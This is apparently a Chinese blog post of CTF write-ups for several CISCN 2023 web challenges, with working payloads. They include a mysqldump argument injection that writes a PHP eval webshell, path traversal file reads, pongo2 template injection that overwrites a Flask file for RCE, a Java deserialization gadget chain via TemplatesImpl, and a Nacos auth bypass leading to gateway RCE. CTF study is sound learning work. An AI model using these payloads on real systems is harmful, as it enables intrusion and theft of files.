dumpit
docker镜像:liey/ciscn16_dumpit
这里的 php 源码是根据印象重新写的,不过大差不差的
mysqldump rce
首先是 rce,这个还是很简单的
一共就两功能,一个 query 一个 dump。
dump 以后发现生成了文件,猜测可能是mysqldump这个命令,然后看 help 能看到 -r 参数:
在 db 这里直接上参数就行了:
1 | ?op=dump&db=%20-r%20c.php%20%27<?php%20eval($_REQUEST[23])%20?>%27&table=a |
这里搭建的也和原题有些许区别,原题是不能有 $
和 ;
的,用的payload是:
1 | ?db=-r%20"a.php"%20"<?=eval(getallheaders()[0])%20?>"&table_2_dump=flag1 |
只有一句话的话是不需要分号的
预期解 mariadb 提权
rce 后就需要提权了,因为,直接搜 suid:
这里发现一个好玩的参数,-w,能控制 where 然后可以union select
load_file,虽然不能提权,但是也能读文件(不过在我这个环境下不行,可能是我没设置 secure_priv 吧):
1 | mariadb-dump -uwww -p123456 ctf flag1 -w "1=2 union select load_file('/etc/passwd')" |
但是这样读取只能是低权限的,没法读flag(但是好像可以用 -r 参数覆盖)
然后其实还有一个参数,非常的不显眼:
这个是指定验证的 plugin,然后配合上:
指定plugin的目录,写一个 so 文件就好了:
1 |
|
注意,这里必须要执行 setuid
,因为:
reading
docker
: liey/ciscn16_reading
这题是个文件读,首先就是读取 app.py :
1 | /books?book=..../app.py |
一个 flag 路由,如果 session 里的 key 如果和程序启动时的 time_ns 的hash前一样那么久获取 flag
首先肯定就是获取 secret_key 伪造 session,参考这个:
https://www.freebuf.com/articles/web/354448.html
但是他这里用的 offset ,比我们这里的方便,我们这里的 offset 是怎么算的呢:
是通过 page_number -1 * page_size 算出来的,其实感觉挺麻烦的。
这里简单说一下思路,首先是获取 maps 中的可读的地方,比如:
比如这个吧,开始的地址就是 e3f14a1000,结束是 55e3f14a2000 ,但是我们要传入 page_size,他就要乘以 page_size,其实把 page_size = 1 也行,但是这样就要读取 0x55e3f14a2000 - 0xe3f14a1000 = 93458488365056
这么多次,这肯定没法接受。
于是乎可以想到另一个方法,就是 0x55e3f14a2000/某个大数 = 整数
,当然我数学不好,大概是这么个意思,就是找到一个 page_size 是大一点的整数,让他乘以后刚好等于那个 offset,然后脚本如下:
1 | import requests, re |
hash爆破
这两个就是了,第一个是secret_key,第二个是 time_ns 的hash
但是这玩意精确度太高了,我仅仅是开了四分钟的容器:
1 | 1685468 709163546000 - |
再次获取的 time_ns 就要爆破13位,这个说实话很难接受。
不会了,这个真不会计算,计算用golang也要很久~算了这个也没啥用,就不学了
(据说是可以用读取stat的方法算出大概启动的时间,或者启动容器以后,大概算一个时间本地获取一个差不多的,无论是什么方法,都没什么学习价值了~
go_session
docker:
这题给了 golang 源码:
一个 flask 请求5000 端口的 flask,一个 /admin 看起来有 ssti。
但是 /admin 的话 name 必须为 admin
一开始猜测是用不需要权限的 flask 读取 env 里的 SESSION_KEY,但是传入
1 | http://127.0.0.1:8088/flask?name=? |
根据报错可以看到:
好像并没有 ssti,虽然开了 Debug 但是没有文件读也没办法。
后来发现本地启动一个就好了,猜测远程的 SESSION_KEY 应该是空的,本地启动一个改一个就好了:
1 | MTY4NTQ5Mzc5NnxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXyrhCwIQvlATEGsJ1tnv5VeqaSvpe5BPqRYP--HtP_tlQ== |
那么点应该就是 golang 的 ssti 这一块了,这里用的是 pongo2 ,一种模仿 flask 的,但是使用了 EscapeString 对 name 进行过滤,这样就不能输入引号了。
golang 的模板想要调用函数的话,必须要传递 Context 才能执行相应的函数:
这里传入了的这个 c 看起来是可以从参数中获取,就能绕过函数了。
任意文件读取+RCE
这里直接用 Query 就好了 :
但是依然需要传递一个类型为 string 的参数,这里可以使用一个环境变量:{{pongo2.version}}
然后大概就是这样:
1 | /admin?name={%25 set test=c.Query(pongo2.version) %25}{{test}}&6.0.0=hahaha |
读取文件:
1 | /admin?name={%25 set test=c.Query(pongo2.version) %25}{%25 include test %25}&6.0.0=/etc/passwd |
但是没有 /flag,说明要 rce。
在这里卡了很久,一开始想到的是 flask 的 Debug 算出 pin,但是算出来以后才发现:
https://tedboy.github.io/flask/_modules/werkzeug/debug.html
这里是要拿 cookie 的,我们只能发送一个 GET,顶多控制 path 罢了。
后来想到 crlf:
https://github.com/golang/go/issues/30794
但是发现好像也不行。
最后翻那个 gin 的 Context,看到上传文件的地方的时候想起来,既然有 Debug,那么覆盖文件以后 python 就会自动 reload 了。
最后向这个地址上传文件:
1 | /admin?name={%25%20set%20xx=c.Query(pongo2.version)%20%25}{%25%20set%20xx2=c.Query(xx)%20%25}{%25%20set%20_%20=%20c.SaveUploadedFile(c.FormFile(xx),xx2)%20%25}&6.0.0=file&file=/app/server.py& |
就是首先用 FromFile 获取上传的文件,然后传进 SaveUploadedFile。
这里用的是 6.0.0 作为第一个参数,然后值为 file,然后通过嵌套再获取 file,传目标文件位置就好了,文件内容:
1 | from flask import Flask |
然后用 ssrf 访问 flask 就好了:
1 | /flask?name=/abc?cmd=cat%2520/flag_flag_flag |
deserbug
这题也很简单的,我竟然没做出来,傻鸟了
首先是提示了 hutool 的 JSONObject.put -> xxx.getter
但是由于题目给了个:
这个,导致我以为必须要打这个然后到别的地方,其实直接打 TemplatesImpl().getOutputProperties()
就完事了。
然后第二个是 tabby 用得不好,人家用的都能搜到,我搜到一大堆没用的,这里学习了个师傅的,其实也没改多少,就是限制了包吧,之前都没看到过,所以没想象出来:
1 | match (source:Method {NAME:"toString"} ) where source.CLASSNAME=~".*commons.*" // 限定source |
但是我感觉这个都知道包了,这还算挖链子么~
然后链子就是:
1 | TiedMapEntry.toString |
然后就可以去打 JSONObject 的 put 了。
其实不论是 TiedMapEntry 还是 Lazymap 还是 TemplatesImpl ,都不难想到,可惜这道题最后都只有 三四个解~
最后 exp:
1 | Object templatesImpl = Gadgets.createTemplatesImpl("open -a calculator"); |
引入了 yso,方便~
BackendService
docker: liey/ciscn16_backendservice:latest
直接用就好了:
https://www.cnblogs.com/Hi-blog/p/nacos-authentication-bypass.html
我的 docker 直接没改账号密码了,这一步太简单了。
上后台以后新建配置:
1 | { |
这里格式为:json,ID 为 backcfg 就行了~
nacos 配置更新
这里属于是看不太懂,看了两三个小时,写一下自己浅薄的理解,也不全面。
首先 nacos 是一个 server、一个 provider、一个 client
这其实跟 rmi 一样,有个注册中心,有个服务,有个客户端
这题提供的 jar 其实就是一个 provider ,所以要先启动 server,然后启动 provider 把这个 provider 注册到 server 里。
在 start.sh 添加 Debug 参数,然后这里添加断点:
1 | java.lang.Runtime#exec(java.lang.String[]) |
然后添加一个配置,就上面那个配置就好了。
然后这个时候断点应该停下来,网上回溯大概就是刷新配置了,但是我没法解释每个函数都代表什么,只能大概大概猜到应该是启动了一个线程,做自动轮询。
首先第一个关键点在:
com.alibaba.nacos.client.config.impl.ClientWorker.LongPollingRunnable#run
这里应该是根据 ID 和 group 获取配置
这应该就是修改完配置以后进行刷新
然后还有一个关键点就是:
1 | org.springframework.context.event.SimpleApplicationEventMulticaster#multicastEvent(org.springframework.context.ApplicationEvent, org.springframework.core.ResolvableType) |
接着到:
1 | org.springframework.context.event.SimpleApplicationEventMulticaster#multicastEvent(org.springframework.context.ApplicationEvent, org.springframework.core.ResolvableType) |
进入
1 | org.springframework.context.event.AbstractApplicationEventMulticaster#getApplicationListeners(org.springframework.context.ApplicationEvent, org.springframework.core.ResolvableType) |
这个函数大概就是根据 event 的类型获取 Listener:
此处添加了 cloud.gateway 的 路由刷新监听器:
自然就触发到了 gateway 的路由刷新的地方了
至于这个,怎么加进去的,我猜是因为他继承了 ApplicationEvent 这个类, spring 自动扫描到了:
还有就是更新的时候好像还会触发另外一块:
1 | com.alibaba.nacos.common.notify.DefaultPublisher#openEventHandler |
然后最终也是到:
1 | org.springframework.context.event.SimpleApplicationEventMulticaster#multicastEvent(org.springframework.context.ApplicationEvent, org.springframework.core.ResolvableType) |
不同的 event 获取一样的 listener 触发。
(说实话,我觉得我写的不对,也写得不好,但是我目前水平不足以我看懂每个函数的意思,等以后有缘了再看吧^_^
值得一提的是,其实这道题先知那个有一个:
https://xz.aliyun.com/t/11493#toc-5
直接里面的 exp 从 yaml 转 json,data id 填对了,然后命令那里写个 curl 往外带文件就好了。只可惜当时对 nacos 知之甚少,其实看看文档也应该知道:
https://github.com/alibaba/spring-cloud-alibaba/wiki/Nacos-config
以后还是先翻文档然后再调代码吧~